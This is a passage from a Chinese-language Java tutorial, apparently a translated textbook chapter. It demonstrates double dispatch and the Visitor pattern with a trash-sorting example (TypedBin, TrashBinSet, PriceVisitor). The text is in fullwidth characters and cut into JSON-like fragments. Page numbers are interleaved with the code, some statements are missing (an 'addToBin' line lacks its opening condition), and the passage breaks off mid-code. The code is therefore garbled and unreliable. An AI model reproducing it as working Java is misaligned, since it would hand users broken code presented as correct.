ＤＤＧｌａｓｓ（ｄｏｕｂｌｅ ｗｔ） ｛ ｓｕｐｅｒ（ｗｔ）； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｄｄＴｏＢｉｎ（ＴｙｐｅｄＢｉｎ［］ ｔｂ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｔｂ．ｌｅｎｇｔｈ； ｉ＋＋） ｉｆ（ｔｂ［ｉ］．ａｄｄ（ｔｈｉｓ）） ｒｅｔｕｒｎ ｔｒｕｅ； ｒｅｔｕｒｎ ｆａｌｓｅ； ｝ ｝ ／／／：￣ ／／： ＤＤＣａｒｄｂｏａｒｄ．ｊａｖａ ／／ Ｃａｒｄｂｏａｒｄ ｆｏｒ ｄｏｕｂｌｅ ｄｉｓｐａｔｃｈｉｎｇ ｐａｃｋａｇｅ ｃ１６．ｄｏｕｂｌｅｄｉｓｐａｔｃｈ； ｉｍｐｏｒｔ ｃ１６．ｔｒａｓｈ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＤＤＣａｒｄｂｏａｒｄ ｅｘｔｅｎｄｓ Ｃａｒｄｂｏａｒｄ ｉｍｐｌｅｍｅｎｔｓ ＴｙｐｅｄＢｉｎＭｅｍｂｅｒ ｛ ｐｕｂｌｉｃ ＤＤＣａｒｄｂｏａｒｄ（ｄｏｕｂｌｅ ｗｔ） ｛ ｓｕｐｅｒ（ｗｔ）； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｄｄＴｏＢｉｎ（ＴｙｐｅｄＢｉｎ［］ ｔｂ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｔｂ．ｌｅｎｇｔｈ； ｉ＋＋） ｉｆ（ｔｂ［ｉ］．ａｄｄ（ｔｈｉｓ）） ｒｅｔｕｒｎ ｔｒｕｅ； ｒｅｔｕｒｎ ｆａｌｓｅ；"},
    {"text": "对 Ｔｒａｓｈ 的每 个子类来说，ｔｈｉｓ 的类型都是不同的，所以不能认为代码“完全”一样——尽管以后在 Ｊａｖａ 里加入参数化 类型机制后便可认为一样。"},
    {"text": "但由于 ｔｂ［ｉ］会产生指向基础类型 ＴｙｐｅＢｉｎ 的一个句 柄，所以最终会调用一个不同的方法——具体什么方法取决于当前选择的 ＴｙｐｅＢｉｎ 的类型。"},
    {"text": "下面是 ＴｙｐｅＢｉｎ 的基础类： ／／： ＴｙｐｅｄＢｉｎ．ｊａｖａ ／／ Ｖｅｃｔｏｒ ｔｈａｔ ｋｎｏｗｓ ｈｏｗ ｔｏ ｇｒａｂ ｔｈｅ ｒｉｇｈｔ ｔｙｐｅ ｐａｃｋａｇｅ ｃ１６．ｄｏｕｂｌｅｄｉｓｐａｔｃｈ；"},
    {"text": "ｉｍｐｏｒｔ ｃ１６．ｔｒａｓｈ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｐｕｂｌｉｃ ａｂｓｔｒａｃｔ ｃｌａｓｓ ＴｙｐｅｄＢｉｎ ｛ Ｖｅｃｔｏｒ ｖ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ｐｒｏｔｅｃｔｅｄ ｂｏｏｌｅａｎ ａｄｄＩｔ（Ｔｒａｓｈ ｔ） ｛ ｖ．ａｄｄＥｌｅｍｅｎｔ（ｔ）； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｐｕｂｌｉｃ Ｅｎｕｍｅｒａｔｉｏｎ ｅｌｅｍｅｎｔｓ（） ｛ ｒｅｔｕｒｎ ｖ．ｅｌｅｍｅｎｔｓ（）； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｄｄ（ＤＤＡｌｕｍｉｎｕｍ ａ） ｛ ｒｅｔｕｒｎ ｆａｌｓｅ； ６０９ ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｄｄ（ＤＤＰａｐｅｒ ａ） ｛ ｒｅｔｕｒｎ ｆａｌｓｅ； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｄｄ（ＤＤＧｌａｓｓ ａ） ｛ ｒｅｔｕｒｎ ｆａｌｓｅ； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｄｄ（ＤＤＣａｒｄｂｏａｒｄ ａ） ｛ ｒｅｔｕｒｎ ｆａｌｓｅ；"},
    {"text": "｝ ｝ ／／／：￣ 可以看到，过载的 ａｄｄ（）方法全都会返回 ｆａｌｓｅ。 如果未在衍生类里对方法进行过载，它就会一直返回 ｆａｌｓｅ，而且调用者（目前是 ａｄｄＴｏＢｉｎ（））会认为当前 Ｔｒａｓｈ 对象尚未成功加入一个集合，所以会继续查找 正确的集合。"},
    {"text": "事实上，假如 在这里采用了参数化类型机制，Ｊａｖａ 代码的自动创建就要方便得多（使用 Ｃ＋＋的“模板”，我们不必费事地 为子类编码，或者将 ａｄｄＴｏＢｉｎ（）方法置入 Ｔｒａｓｈ 里；"},
    {"text": "下面是一个示范性的 ＤＤＴｒａｓｈ．ｄａｔ： ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＧｌａｓｓ：５４ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＰａｐｅｒ：２２ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＰａｐｅｒ：１１ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＧｌａｓｓ：１７ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＡｌｕｍｉｎｕｍ：８９ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＰａｐｅｒ：８８ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＡｌｕｍｉｎｕｍ：７６ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＣａｒｄｂｏａｒｄ：９６ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＡｌｕｍｉｎｕｍ：２５ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＡｌｕｍｉｎｕｍ：３４ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＧｌａｓｓ：１１ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＧｌａｓｓ：６８ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＧｌａｓｓ：４３ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＡｌｕｍｉｎｕｍ：２７ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＣａｒｄｂｏａｒｄ：４４ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＡｌｕｍｉｎｕｍ：１８ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＰａｐｅｒ：９１ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＧｌａｓｓ：６３ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＧｌａｓｓ：５０ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＧｌａｓｓ：８０ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＡｌｕｍｉｎｕｍ：８１ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＣａｒｄｂｏａｒｄ：１２ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＧｌａｓｓ：１２ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＧｌａｓｓ：５４ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＡｌｕｍｉｎｕｍ：３６ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＡｌｕｍｉｎｕｍ：９３ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＧｌａｓｓ：９３ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＰａｐｅｒ：８０ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＧｌａｓｓ：３６ ６１０ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＧｌａｓｓ：１２ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＧｌａｓｓ：６０ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＰａｐｅｒ：６６ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＡｌｕｍｉｎｕｍ：３６ ｃ１６．ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ＤＤＣａｒｄｂｏａｒｄ：２２ 下面列出程序剩余的部分： ／／： ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ｊａｖａ ／／ Ｕｓｉｎｇ ｍｕｌｔｉｐｌｅ ｄｉｓｐａｔｃｈｉｎｇ ｔｏ ｈａｎｄｌｅ ｍｏｒｅ ／／ ｔｈａｎ ｏｎｅ ｕｎｋｎｏｗｎ ｔｙｐｅ ｄｕｒｉｎｇ ａ ｍｅｔｈｏｄ ｃａｌｌ． ｐａｃｋａｇｅ ｃ１６．ｄｏｕｂｌｅｄｉｓｐａｔｃｈ；"},
    {"text": "ｉｍｐｏｒｔ ｃ１６．ｔｒａｓｈ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｃｌａｓｓ ＡｌｕｍｉｎｕｍＢｉｎ ｅｘｔｅｎｄｓ ＴｙｐｅｄＢｉｎ ｛ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｄｄ（ＤＤＡｌｕｍｉｎｕｍ ａ） ｛ ｒｅｔｕｒｎ ａｄｄＩｔ（ａ）； ｝ ｝ ｃｌａｓｓ ＰａｐｅｒＢｉｎ ｅｘｔｅｎｄｓ ＴｙｐｅｄＢｉｎ ｛ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｄｄ（ＤＤＰａｐｅｒ ａ） ｛ ｒｅｔｕｒｎ ａｄｄＩｔ（ａ）； ｝ ｝ ｃｌａｓｓ ＧｌａｓｓＢｉｎ ｅｘｔｅｎｄｓ ＴｙｐｅｄＢｉｎ ｛ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｄｄ（ＤＤＧｌａｓｓ ａ） ｛ ｒｅｔｕｒｎ ａｄｄＩｔ（ａ）； ｝ ｝ ｃｌａｓｓ ＣａｒｄｂｏａｒｄＢｉｎ ｅｘｔｅｎｄｓ ＴｙｐｅｄＢｉｎ ｛ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｄｄ（ＤＤＣａｒｄｂｏａｒｄ ａ） ｛ ｒｅｔｕｒｎ ａｄｄＩｔ（ａ）； ｝ ｝ ｃｌａｓｓ ＴｒａｓｈＢｉｎＳｅｔ ｛ ｐｒｉｖａｔｅ ＴｙｐｅｄＢｉｎ［］ ｂｉｎＳｅｔ ＝ ｛ ｎｅｗ ＡｌｕｍｉｎｕｍＢｉｎ（）， ｎｅｗ ＰａｐｅｒＢｉｎ（）， ｎｅｗ ＧｌａｓｓＢｉｎ（）， ｎｅｗ ＣａｒｄｂｏａｒｄＢｉｎ（） ｝； ｐｕｂｌｉｃ ｖｏｉｄ ｓｏｒｔＩｎｔｏＢｉｎｓ（Ｖｅｃｔｏｒ ｂｉｎ） ｛ Ｅｎｕｍｅｒａｔｉｏｎ ｅ ＝ ｂｉｎ．ｅｌｅｍｅｎｔｓ（）； ｗｈｉｌｅ（ｅ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） ｛ ＴｙｐｅｄＢｉｎＭｅｍｂｅｒ ｔ ＝ （ＴｙｐｅｄＢｉｎＭｅｍｂｅｒ）ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（）；"},
    {"text": "ｔ．ａｄｄＴｏＢｉｎ（ｂｉｎＳｅｔ）） ６１１ Ｓｙｓｔｅｍ．ｅｒｒ．ｐｒｉｎｔｌｎ（＂Ｃｏｕｌｄｎ＇ｔ ａｄｄ ＂ ＋ ｔ）； ｝ ｝ ｐｕｂｌｉｃ ＴｙｐｅｄＢｉｎ［］ ｂｉｎＳｅｔ（） ｛ ｒｅｔｕｒｎ ｂｉｎＳｅｔ； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＤｏｕｂｌｅＤｉｓｐａｔｃｈ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｖｅｃｔｏｒ ｂｉｎ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ＴｒａｓｈＢｉｎＳｅｔ ｂｉｎｓ ＝ ｎｅｗ ＴｒａｓｈＢｉｎＳｅｔ（）； ／／ ＰａｒｓｅＴｒａｓｈ ｓｔｉｌｌ ｗｏｒｋｓ， ｗｉｔｈｏｕｔ ｃｈａｎｇｅｓ： ＰａｒｓｅＴｒａｓｈ．ｆｉｌｌＢｉｎ（＂ＤＤＴｒａｓｈ．ｄａｔ＂， ｂｉｎ）； ／／ Ｓｏｒｔ ｆｒｏｍ ｔｈｅ ｍａｓｔｅｒ ｂｉｎ ｉｎｔｏ ｔｈｅ ／／ ｉｎｄｉｖｉｄｕａｌｌｙ－ｔｙｐｅｄ ｂｉｎｓ： ｂｉｎｓ．ｓｏｒｔＩｎｔｏＢｉｎｓ（ｂｉｎ）； ＴｙｐｅｄＢｉｎ［］ ｔｂ ＝ ｂｉｎｓ．ｂｉｎＳｅｔ（）； ／／ Ｐｅｒｆｏｒｍ ｓｕｍＶａｌｕｅ ｆｏｒ ｅａｃｈ ｂｉｎ．．． ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｔｂ．ｌｅｎｇｔｈ； ｉ＋＋） Ｔｒａｓｈ．ｓｕｍＶａｌｕｅ（ｔｂ［ｉ］．ｖ）； ／／ ．．． ａｎｄ ｆｏｒ ｔｈｅ ｍａｓｔｅｒ ｂｉｎ Ｔｒａｓｈ．ｓｕｍＶａｌｕｅ（ｂｉｎ）；"},
    {"text": "添加新类型需要作出的改动是完全孤立的：我们随同 ａｄｄＴｏＢｉｎ（）方法继承 Ｔｒａｓｈ 的新类型，然后继承一个新 的 ＴｙｐｅＢｉｎ（这实际只是一个副本，可以简单地编辑），最后将一种新类型加入 ＴｒａｓｈＢｉｎＳｅｔ 的集合初化化 过程。"},
    {"text": "“访问器”（Ｖｉｓｉｔｏｒ）范式使我们能扩展基本类型的接口，方法是创建类型为 Ｖｉｓｉｔｏｒ 的一个独立的类结 构，对以后需对基本类型采取的操作进行虚拟。"},
    {"text": "看起来就象下面这样： ６１２ 现在，假如 ｖ 是一个指向 Ａｌｕｍｉｎｕｍ（铝制品）的 Ｖｉｓｉｔａｂｌｅ 句柄，那么下述代码： ＰｒｉｃｅＶｉｓｉｔｏｒ ｐｖ ＝ ｎｅｗ ＰｒｉｃｅＶｉｓｉｔｏｒ（）；"},
    {"text": "在下面的例子中，大家可看到 Ｖｉｓｉｔｏｒ 的两种实现方式：ＰｒｉｃｅＶｉｓｉｔｏｒ 用于判断总计及价格，而 ＷｅｉｇｈｔＶｉｓｉｔｏｒ 用于跟踪重量。"},
    {"text": "而且和 ＤｏｕｂｌｅＤｉｓｐａｔｃｈ．ｊａｖａ 一样， Ｔｒａｓｈ 类被保持孤立，并创建一个新接口来添加 ａｃｃｅｐｔ（）方法： ６１３ ／／： Ｖｉｓｉｔａｂｌｅ．ｊａｖａ ／／ Ａｎ ｉｎｔｅｒｆａｃｅ ｔｏ ａｄｄ ｖｉｓｉｔｏｒ ｆｕｎｃｔｉｏｎａｌｉｔｙ ｔｏ ／／ ｔｈｅ Ｔｒａｓｈ ｈｉｅｒａｒｃｈｙ ｗｉｔｈｏｕｔ ｍｏｄｉｆｙｉｎｇ ｔｈｅ ／／ ｂａｓｅ ｃｌａｓｓ． ｐａｃｋａｇｅ ｃ１６．ｔｒａｓｈｖｉｓｉｔｏｒ；"},
    {"text": "ｉｍｐｏｒｔ ｃ１６．ｔｒａｓｈ．＊； ｉｎｔｅｒｆａｃｅ Ｖｉｓｉｔａｂｌｅ ｛ ／／ Ｔｈｅ ｎｅｗ ｍｅｔｈｏｄ： ｖｏｉｄ ａｃｃｅｐｔ（Ｖｉｓｉｔｏｒ ｖ）；"},
    {"text": "｝ ／／／：￣ Ａｌｕｍｉｎｕｍ，Ｐａｐｅｒ，Ｇｌａｓｓ 以及 Ｃａｒｄｂｏａｒｄ 的子类型实现了 ａｃｃｅｐｔ（）方法： ／／： ＶＡｌｕｍｉｎｕｍ．ｊａｖａ ／／ Ａｌｕｍｉｎｕｍ ｆｏｒ ｔｈｅ ｖｉｓｉｔｏｒ ｐａｔｔｅｒｎ ｐａｃｋａｇｅ ｃ１６．ｔｒａｓｈｖｉｓｉｔｏｒ；"},
    {"text": "ｉｍｐｏｒｔ ｃ１６．ｔｒａｓｈ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＶＡｌｕｍｉｎｕｍ ｅｘｔｅｎｄｓ Ａｌｕｍｉｎｕｍ ｉｍｐｌｅｍｅｎｔｓ Ｖｉｓｉｔａｂｌｅ ｛ ｐｕｂｌｉｃ ＶＡｌｕｍｉｎｕｍ（ｄｏｕｂｌｅ ｗｔ） ｛ ｓｕｐｅｒ（ｗｔ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｃｅｐｔ（Ｖｉｓｉｔｏｒ ｖ） ｛ ｖ．ｖｉｓｉｔ（ｔｈｉｓ）； ｝ ｝ ／／／：￣ ／／： ＶＰａｐｅｒ．ｊａｖａ ／／ Ｐａｐｅｒ ｆｏｒ ｔｈｅ ｖｉｓｉｔｏｒ ｐａｔｔｅｒｎ ｐａｃｋａｇｅ ｃ１６．ｔｒａｓｈｖｉｓｉｔｏｒ； ｉｍｐｏｒｔ ｃ１６．ｔｒａｓｈ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＶＰａｐｅｒ ｅｘｔｅｎｄｓ Ｐａｐｅｒ ｉｍｐｌｅｍｅｎｔｓ Ｖｉｓｉｔａｂｌｅ ｛ ｐｕｂｌｉｃ ＶＰａｐｅｒ（ｄｏｕｂｌｅ ｗｔ） ｛ ｓｕｐｅｒ（ｗｔ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｃｅｐｔ（Ｖｉｓｉｔｏｒ ｖ） ｛ ｖ．ｖｉｓｉｔ（ｔｈｉｓ）； ｝ ｝ ／／／：￣ ／／： ＶＧｌａｓｓ．ｊａｖａ ／／ Ｇｌａｓｓ ｆｏｒ ｔｈｅ ｖｉｓｉｔｏｒ ｐａｔｔｅｒｎ ｐａｃｋａｇｅ ｃ１６．ｔｒａｓｈｖｉｓｉｔｏｒ； ｉｍｐｏｒｔ ｃ１６．ｔｒａｓｈ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＶＧｌａｓｓ ｅｘｔｅｎｄｓ Ｇｌａｓｓ ｉｍｐｌｅｍｅｎｔｓ Ｖｉｓｉｔａｂｌｅ ｛ ｐｕｂｌｉｃ ＶＧｌａｓｓ（ｄｏｕｂｌｅ ｗｔ） ｛ ｓｕｐｅｒ（ｗｔ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｃｅｐｔ（Ｖｉｓｉｔｏｒ ｖ） ｛ ｖ．ｖｉｓｉｔ（ｔｈｉｓ）； ｝ ｝ ／／／：￣ ／／： ＶＣａｒｄｂｏａｒｄ．ｊａｖａ ６１４ ／／ Ｃａｒｄｂｏａｒｄ ｆｏｒ ｔｈｅ ｖｉｓｉｔｏｒ ｐａｔｔｅｒｎ ｐａｃｋａｇｅ ｃ１６．ｔｒａｓｈｖｉｓｉｔｏｒ； ｉｍｐｏｒｔ ｃ１６．ｔｒａｓｈ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＶＣａｒｄｂｏａｒｄ ｅｘｔｅｎｄｓ Ｃａｒｄｂｏａｒｄ ｉｍｐｌｅｍｅｎｔｓ Ｖｉｓｉｔａｂｌｅ ｛ ｐｕｂｌｉｃ ＶＣａｒｄｂｏａｒｄ（ｄｏｕｂｌｅ ｗｔ） ｛ ｓｕｐｅｒ（ｗｔ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｃｅｐｔ（Ｖｉｓｉｔｏｒ ｖ） ｛ ｖ．ｖｉｓｉｔ（ｔｈｉｓ）；"},
    {"text": "｝ ｝ ／／／：￣ 由于 Ｖｉｓｉｔｏｒ 基础类没有什么需要实在的东西，可将其创建成一个接口： ／／： Ｖｉｓｉｔｏｒ．ｊａｖａ ／／ Ｔｈｅ ｂａｓｅ ｉｎｔｅｒｆａｃｅ ｆｏｒ ｖｉｓｉｔｏｒｓ ｐａｃｋａｇｅ ｃ１６．ｔｒａｓｈｖｉｓｉｔｏｒ；"},
    {"text": "ｉｍｐｏｒｔ ｃ１６．ｔｒａｓｈ．＊； ｉｎｔｅｒｆａｃｅ Ｖｉｓｉｔｏｒ ｛ ｖｏｉｄ ｖｉｓｉｔ（ＶＡｌｕｍｉｎｕｍ ａ）； ｖｏｉｄ ｖｉｓｉｔ（ＶＰａｐｅｒ ｐ）； ｖｏｉｄ ｖｉｓｉｔ（ＶＧｌａｓｓ ｇ）； ｖｏｉｄ ｖｉｓｉｔ（ＶＣａｒｄｂｏａｒｄ ｃ）；"},
    {"text": "｝ ／／／：￣ Ｏｎｃｅ ａｇａｉｎ ｃｕｓｔｏｍ Ｔｒａｓｈ ｔｙｐｅｓ ｈａｖｅ ｂｅｅｎ ｃｒｅａｔｅｄ ｉｎ ａ ｄｉｆｆｅｒｅｎｔ ｓｕｂｄｉｒｅｃｔｏｒｙ． Ｔｈｅ ｎｅｗ Ｔｒａｓｈ ｄａｔａ ｆｉｌｅ ｉｓ ＶＴｒａｓｈ．ｄａｔ ａｎｄ ｌｏｏｋｓ ｌｉｋｅ ｔｈｉｓ： ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＧｌａｓｓ：５４ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＰａｐｅｒ：２２ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＰａｐｅｒ：１１ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＧｌａｓｓ：１７ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＡｌｕｍｉｎｕｍ：８９ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＰａｐｅｒ：８８ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＡｌｕｍｉｎｕｍ：７６ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＣａｒｄｂｏａｒｄ：９６ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＡｌｕｍｉｎｕｍ：２５ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＡｌｕｍｉｎｕｍ：３４ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＧｌａｓｓ：１１ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＧｌａｓｓ：６８ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＧｌａｓｓ：４３ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＡｌｕｍｉｎｕｍ：２７ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＣａｒｄｂｏａｒｄ：４４ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＡｌｕｍｉｎｕｍ：１８ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＰａｐｅｒ：９１ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＧｌａｓｓ：６３ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＧｌａｓｓ：５０ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＧｌａｓｓ：８０ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＡｌｕｍｉｎｕｍ：８１ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＣａｒｄｂｏａｒｄ：１２ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＧｌａｓｓ：１２ ６１５ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＧｌａｓｓ：５４ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＡｌｕｍｉｎｕｍ：３６ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＡｌｕｍｉｎｕｍ：９３ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＧｌａｓｓ：９３ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＰａｐｅｒ：８０ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＧｌａｓｓ：３６ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＧｌａｓｓ：１２ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＧｌａｓｓ：６０ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＰａｐｅｒ：６６ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＡｌｕｍｉｎｕｍ：３６ ｃ１６．ＴｒａｓｈＶｉｓｉｔｏｒ．ＶＣａｒｄｂｏａｒｄ：２２ 程序剩余的部分将创建特定的 Ｖｉｓｉｔｏｒ 类型，并通过一个 Ｔｒａｓｈ 对象列表发送它们： ／／： ＴｒａｓｈＶｉｓｉｔｏｒ．ｊａｖａ ／／ Ｔｈｅ ＂ｖｉｓｉｔｏｒ＂ ｐａｔｔｅｒｎ ｐａｃｋａｇｅ ｃ１６．ｔｒａｓｈｖｉｓｉｔｏｒ；"},
    {"text": "ｉｍｐｏｒｔ ｃ１６．ｔｒａｓｈ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ／／ Ｓｐｅｃｉｆｉｃ ｇｒｏｕｐ ｏｆ ａｌｇｏｒｉｔｈｍｓ ｐａｃｋａｇｅｄ ／／ ｉｎ ｅａｃｈ ｉｍｐｌｅｍｅｎｔａｔｉｏｎ ｏｆ Ｖｉｓｉｔｏｒ： ｃｌａｓｓ ＰｒｉｃｅＶｉｓｉｔｏｒ ｉｍｐｌｅｍｅｎｔｓ Ｖｉｓｉｔｏｒ ｛ ｐｒｉｖａｔｅ ｄｏｕｂｌｅ ａｌＳｕｍ； ／／ Ａｌｕｍｉｎｕｍ ｐｒｉｖａｔｅ ｄｏｕｂｌｅ ｐＳｕｍ； ／／ Ｐａｐｅｒ ｐｒｉｖａｔｅ ｄｏｕｂｌｅ ｇＳｕｍ； ／／ Ｇｌａｓｓ ｐｒｉｖａｔｅ ｄｏｕｂｌｅ ｃＳｕｍ； ／／ Ｃａｒｄｂｏａｒｄ ｐｕｂｌｉｃ ｖｏｉｄ ｖｉｓｉｔ（ＶＡｌｕｍｉｎｕｍ ａｌ） ｛ ｄｏｕｂｌｅ ｖ ＝ ａｌ．ｗｅｉｇｈｔ（） ＊ ａｌ．ｖａｌｕｅ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｖａｌｕｅ ｏｆ Ａｌｕｍｉｎｕｍ＝ ＂ ＋ ｖ）； ａｌＳｕｍ ＋＝ ｖ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｖｉｓｉｔ（ＶＰａｐｅｒ ｐ） ｛ ｄｏｕｂｌｅ ｖ ＝ ｐ．ｗｅｉｇｈｔ（） ＊ ｐ．ｖａｌｕｅ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｖａｌｕｅ ｏｆ Ｐａｐｅｒ＝ ＂ ＋ ｖ）； ｐＳｕｍ ＋＝ ｖ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｖｉｓｉｔ（ＶＧｌａｓｓ ｇ） ｛ ｄｏｕｂｌｅ ｖ ＝ ｇ．ｗｅｉｇｈｔ（） ＊ ｇ．ｖａｌｕｅ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｖａｌｕｅ ｏｆ Ｇｌａｓｓ＝ ＂ ＋ ｖ）； ｇＳｕｍ ＋＝ ｖ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｖｉｓｉｔ（ＶＣａｒｄｂｏａｒｄ ｃ） ｛ ｄｏｕｂｌｅ ｖ ＝ ｃ．ｗｅｉｇｈｔ（） ＊ ｃ．ｖａｌｕｅ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｖａｌｕｅ ｏｆ Ｃａｒｄｂｏａｒｄ ＝ ＂ ＋ ｖ）； ｃＳｕｍ ＋＝ ｖ； ｝ ｖｏｉｄ ｔｏｔａｌ（） ｛ ６１６ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｔｏｔａｌ Ａｌｕｍｉｎｕｍ： ￥＂ ＋ ａｌＳｕｍ ＋ ＂＼ｎ＂ ＋ ＂Ｔｏｔａｌ 